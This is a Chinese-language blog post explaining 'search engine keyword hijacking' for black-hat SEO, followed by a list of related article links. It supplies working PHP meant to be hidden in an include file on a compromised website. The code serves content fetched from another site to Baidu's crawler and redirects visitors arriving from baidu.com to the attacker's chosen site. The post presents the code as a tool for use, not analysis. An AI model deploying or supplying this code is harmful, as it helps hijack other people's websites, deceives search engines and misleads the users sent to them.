搜尋引擎關鍵詞劫持之php篇(原始碼與分析)
摘要:其實原理很簡單: 搜尋引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜尋引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷: if(來訪者是蜘蛛){ 輸出指定內容 } if(使用者是從搜尋引擎點選進入網站的){ 跳轉我們希…
其實原理很簡單:
搜尋引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜尋引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷:
if(來訪者是蜘蛛){
輸出指定內容
}
if(使用者是從搜尋引擎點選進入網站的){
跳轉我們希望跳轉的站點B
}
所以我們可以達到如下效果:
針對蜘蛛來說,如果來訪者是指定的蜘蛛,那麼輸出希望讓蜘蛛看到的內容,如果來訪者不是蜘蛛,則輸出希望給正常使用者看到的內容。正常使用者在瀏覽器位址列輸入網址訪問網站A,看到正常的首頁,如果使用者點選百度的搜尋結果中的連結進入網站A,則跳轉我們要做SEO的站點B。
表達能力有限,說了這麼多也不知道大家明白沒有。。。
那好吧,下面我來上程式碼,大家可能一看就懂了。程式碼很短,也很容易理解。
<?php ################################################ # 可以把本檔案放在類似inc、include這樣的目錄中 # # 首頁require_once(`本檔案路徑`);就可以了 # # 這樣會比較隱蔽 # ################################################ if(strpos(strtolower($_SERVER[`HTTP_USER_AGENT`]),`baiduspider`) !== false ) { //判斷搜尋引擎,這裡是百度,可以自行新增蜘蛛 /* Header("HTTP/1.1 301 Moved Permanently"); Header("Location: http://www.yunsec.net/"); //這是301跳轉,301主要針對搜尋引擎,如果你想告訴搜尋引擎這個頁面已經更換URL了的話... */ $file = file_get_contents(`http://www.yunsec.net/forum.php`); echo $file;//輸出指定檔案內容 exit; } //判斷來路 if(stristr ($_SERVER[`HTTP_REFERER`],"baidu.com")) {//如果使用者來自baidu.com //Header("HTTP/1.1 301 Moved Permanently");//301跳轉,也可以不用301,直接跳轉,301狀態碼主要針對搜尋引擎使用 Header("Location: http://www.yunsec.net/");//跳轉 exit; } ?>
相關文章
- 網站最佳化搜尋引擎與關鍵詞網站
- 黑帽SEO之搜尋引擎劫持
- 搜尋引擎es-分詞與搜尋分詞
- BM42:語義搜尋與關鍵詞搜尋結合
- 語音技術——關鍵詞搜尋
- python 寫的搜尋引擎 - 原始碼Python原始碼
- Trie|如何用字典樹實現搜尋引擎的關鍵詞提示功能
- 微信小程式實現搜尋關鍵詞高亮微信小程式
- 搜尋引擎與前端SEO前端
- 淘寶API介面:獲得關鍵詞搜尋推薦API
- 小程式搜尋自定義關鍵詞功能關閉意欲何為?
- 搜尋引擎核心技術與演算法 —— 詞項詞典與倒排索引優化演算法索引優化
- 搜尋引擎-03-搜尋引擎原理
- 中文搜尋引擎技術揭密:中文分詞中文分詞
- 搜尋引擎核心技術與演算法 —— 詞項詞典與倒排索引最佳化演算法索引
- 程式設計師 SEO 系列:如何找到更多搜尋關鍵詞?程式設計師
- 搜尋關鍵詞優化 助力全網霸屏營銷優化
- 57_初識搜尋引擎_分散式搜尋引擎核心解密之query phase分散式解密
- 日誌分析平臺ELK之搜尋引擎Elasticsearch叢集Elasticsearch
- 遊戲出海全面分析系列(四):遊戲廠商的搜尋關鍵詞優化指南遊戲優化
- 【原始碼】btfilm專業電影搜尋引擎,海量電影等你來搜原始碼
- PHP-7.1 原始碼學習:詞法分析PHP原始碼詞法分析
- data.ai:2021年App Store搜尋關鍵詞熱度榜AIAPP
- Finbold:“賽博朋克2077”關鍵詞搜尋量全球飆升426.31%
- 1688關鍵字搜尋介面
- 海量資料搜尋---搜尋引擎
- MySQL單詞搜尋相關度排名MySql
- 單詞搜尋
- PbootCMS呼叫搜尋頁和標籤頁的關鍵詞及數量boot
- 直播平臺搭建,uni-app 實現搜尋關鍵詞高亮效果APP
- JavaScript 搜尋關鍵字高亮效果JavaScript
- Idea全域性搜尋關鍵字Idea
- 分散式搜尋引擎Elasticsearch的架構分析分散式Elasticsearch架構
- Django單元測試與搜尋引擎Django
- bing/google/百度高階搜尋技巧--搜尋時關鍵詞不拆分,僅搜尋某個站點或僅要求pdf/doc格式搜尋結果等等Go
- VuePress 部落格之 SEO 優化(一)之 sitemap 與搜尋引擎收錄Vue優化
- 1688關鍵字搜尋新品資料API介面(item_search_new-按關鍵字搜尋新品API
- sphinx 全文搜尋引擎
- 高效利用搜尋引擎